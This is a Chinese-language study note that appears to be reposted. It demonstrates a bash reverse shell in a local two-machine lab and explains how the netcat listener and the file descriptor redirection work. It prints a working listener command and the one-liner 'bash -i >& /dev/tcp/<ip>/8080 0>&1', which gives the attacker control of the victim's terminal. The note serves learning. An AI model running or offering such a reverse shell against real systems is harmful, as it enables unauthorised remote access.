bash反彈shell


part1:不求甚解的本地復現

  攻擊端Debian 10.x:  192.168.208.134

 

  受害端Ubuntu : 192.168.208.135

 

 

攻擊端打開(監聽)某端口:  

  鍵入命令:【nc -lvp 8080】

 

受害端執行反彈shell: 

 

  鍵入命令:【bash -i >& /dev/tcp/192.168.208.134/8080 0>&1】

 

效果:

 

       可以在攻擊機上操作受害機的終端。

 

 

part2:嘗試理解原理

    (1) nc -lvp 8080

       -l  設置netcat處於監聽狀態等待連接。

       -v  顯示錯誤提示信息(非必須)

       -p 設置本地監聽的端口號

    (2) bash -i >& dev/tcp/192.168.208.134/8080 0>&1

        -i  創建一個交互式的shell.

          0,stdin,標准輸入(一般是鍵盤)
          1,stdout,標准輸出(一般是顯示屏,准確的說是用戶終端控制台)
          2,stderr,標准錯誤(出錯信息輸出)

        > 輸出重定向;指定具體的輸出目標以替換默認的標准輸出。

            eg:

 

         >&:將聯合符號前面的內容與后面相結合然后一起重定向給后者。

         dev/tcp/192.168.208.134/8080(dev/tcp/ip/port):linux里一切皆文件;這個東西也看做文件(但不能訪問),其作用是讓本機與目標主機通過指定端口建立tcp連接。

 


整體解讀的話,就是:

  bash產生了一個交互環境與本地主機主動發起與目標主機8080端口建立的連接(即TCP 8080 會話連接)相結合,並重定向給tcp 8080會話連接;(這個具體咋回事估計得等再學點東西才能理解)

       用戶鍵盤輸入與用戶標准輸出相結合,並重定向給一個標准的輸出;(這就是效果圖中ls出現兩次的原因;第二次是因為標准輸入也被重定向給了標准輸出,輸出出來了)

  即得到一個bash 反彈環境。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM